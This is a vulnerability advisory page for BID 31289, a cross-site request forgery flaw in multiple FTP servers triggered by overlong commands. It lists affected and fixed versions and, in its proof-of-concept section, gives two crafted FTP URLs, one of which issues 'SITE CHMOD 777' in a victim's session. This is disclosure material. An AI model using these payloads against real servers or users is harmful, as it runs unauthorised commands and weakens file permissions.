Multiple Vendor FTP Server Long Command Handling Security Vulnerability

BID:31289

Info

Multiple Vendor FTP Server Long Command Handling Security Vulnerability

Bugtraq ID: 31289
Class: Design Error
CVE: CVE-2008-4247
CVE-2008-4242
CVE-2008-7016
Remote: Yes
Local: No
Published: Sep 20 2008 12:00AM
Updated: Apr 13 2015 09:30PM
Credit: Maksymilian Arciemowicz, SecurityReason
Vulnerable: tnftpd tnftpd 20080609
Sun Solaris 9_x86
Sun Solaris 9_sparc
Sun Solaris 8_x86
Sun Solaris 8_sparc
Sun Solaris 10_x86
Sun Solaris 10_sparc
SmbFTPD SmbFTPD 2.1
ProFTPD Project ProFTPD 1.3.1
OpenBSD OpenBSD 4.3
NetBSD NetBSD 3.0.2
NetBSD NetBSD 3.0.1
NetBSD NetBSD Current
NetBSD NetBSD 4.0 BETA2
NetBSD NetBSD 4.0
NetBSD NetBSD 4,0_Beta
NetBSD NetBSD 3.1_RC3
NetBSD NetBSD 3.1
Navision Financials Server 3.0
Mandriva Linux Mandrake 2009.0 x86_64
Mandriva Linux Mandrake 2009.0
Mandriva Linux Mandrake 2008.1 x86_64
Mandriva Linux Mandrake 2008.1
Mandriva Linux Mandrake 2008.0 x86_64
Mandriva Linux Mandrake 2008.0
MandrakeSoft Corporate Server 4.0 x86_64
MandrakeSoft Corporate Server 3.0 x86_64
MandrakeSoft Corporate Server 3.0
MandrakeSoft Corporate Server 4.0
Luke Mewburn lukemftp 0
FreeBSD FreeBSD 7.1 -RELEASE-p1
FreeBSD FreeBSD 7.1 -PRE-RELEASE
FreeBSD FreeBSD 7.0-STABLE
FreeBSD FreeBSD 7.0-RELEASE
FreeBSD FreeBSD 7.0 -RELENG
FreeBSD FreeBSD 7.0
FreeBSD FreeBSD 6.4 -RELEASE
FreeBSD FreeBSD 6.3 -RELENG
FreeBSD FreeBSD 6.3
Debian Linux 4.0 sparc
Debian Linux 4.0 s/390
Debian Linux 4.0 powerpc
Debian Linux 4.0 mipsel
Debian Linux 4.0 mips
Debian Linux 4.0 m68k
Debian Linux 4.0 ia-64
Debian Linux 4.0 ia-32
Debian Linux 4.0 hppa
Debian Linux 4.0 arm
Debian Linux 4.0 amd64
Debian Linux 4.0 alpha
Debian Linux 4.0
Bsdperimeter pfSense 1.2.1
Bsdperimeter pfSense 1.2-RC4
Bsdperimeter pfSense 1.2-RC3
Bsdperimeter pfSense 1.2-RC2
Bsdperimeter pfSense 1.2-RC1
Bsdperimeter pfSense 1.2
Not Vulnerable: tnftpd tnftpd 20080929
SmbFTPD SmbFTPD 2.2
Bsdperimeter pfSense 1.2.2

Discussion

Multiple Vendor FTP Server Long Command Handling Security Vulnerability

FTP servers by multiple vendors are prone to a security vulnerability that allows attackers to perform cross-site request-forgery attacks.

Successful exploits can run arbitrary FTP commands on the server in the context of an unsuspecting user's session. This may lead to further attacks.

Exploit / POC

Multiple Vendor FTP Server Long Command Handling Security Vulnerability

Attackers can exploit this issue by enticing an unsuspecting user into following a malicious link.

The following examples are available:

ftp://[email protected]////////////////////////////////////////////////
//////////////////////////////////////////////////////////////////////
//////////////////////////////////////////////////////////////////////
//////////////////////////////////////////////////////////////////////
//////////////////////////////////////////////////////////////////////
//////////////////////////////////////////////////////////////////////
//////////////////////////////////////////////////////////////////////
/////////////////////////////////////syst

ftp://ftp.example.com/////////////////////////////////////////////////
//////////////////////////////////////////////////////////////////////
//////////////////////////////////////////////////////////////////////
//////////////////////////////////////////////////////////////////////
//////////////////////////////////////////////////////////////////////
//////////////////////////////////////////////////////////////////////
//////////////////////////////////////////////////////////////////////
/////////////////////////////////////SITE%20CHMOD%20777%20EXAMPLEFILE

Solution / Fix

Multiple Vendor FTP Server Long Command Handling Security Vulnerability

Solution:
Updates are available. Please see the references for more information.


Mandriva Linux Mandrake 2008.1 x86_64

Debian Linux 4.0 arm

Mandriva Linux Mandrake 2008.1

Debian Linux 4.0 powerpc

Debian Linux 4.0 m68k

Mandriva Linux Mandrake 2008.0 x86_64

Mandriva Linux Mandrake 2008.0

Bsdperimeter pfSense 1.2-RC4

Bsdperimeter pfSense 1.2-RC3

Debian Linux 4.0 amd64

Debian Linux 4.0 ia-32

Debian Linux 4.0 hppa

Debian Linux 4.0 sparc

Debian Linux 4.0 s/390

Bsdperimeter pfSense 1.2-RC1

Mandriva Linux Mandrake 2009.0

Debian Linux 4.0 alpha

MandrakeSoft Corporate Server 4.0

Debian Linux 4.0

Debian Linux 4.0 mipsel

Mandriva Linux Mandrake 2009.0 x86_64

Bsdperimeter pfSense 1.2-RC2

Debian Linux 4.0 ia-64

Debian Linux 4.0 mips

Bsdperimeter pfSense 1.2.1

MandrakeSoft Corporate Server 3.0 x86_64

MandrakeSoft Corporate Server 3.0

MandrakeSoft Corporate Server 4.0 x86_64

References

© CVE.report 2026

Use of this information constitutes acceptance for use in an AS IS condition. There are NO warranties, implied or otherwise, with regard to this information or its use. Any use of this information is at the user's risk. It is the responsibility of user to evaluate the accuracy, completeness or usefulness of any information, opinion, advice or other content. EACH USER WILL BE SOLELY RESPONSIBLE FOR ANY consequences of his or her direct or indirect use of this web site. ALL WARRANTIES OF ANY KIND ARE EXPRESSLY DISCLAIMED. This site will NOT BE LIABLE FOR ANY DIRECT, INDIRECT or any other kind of loss.

CVE, CWE, and OVAL are registred trademarks of The MITRE Corporation and the authoritative source of CVE content is MITRE's CVE web site. This site includes MITRE data granted under the following license.

Free CVE JSON API cve.report/api

CVE.report and Source URL Uptime Status status.cve.report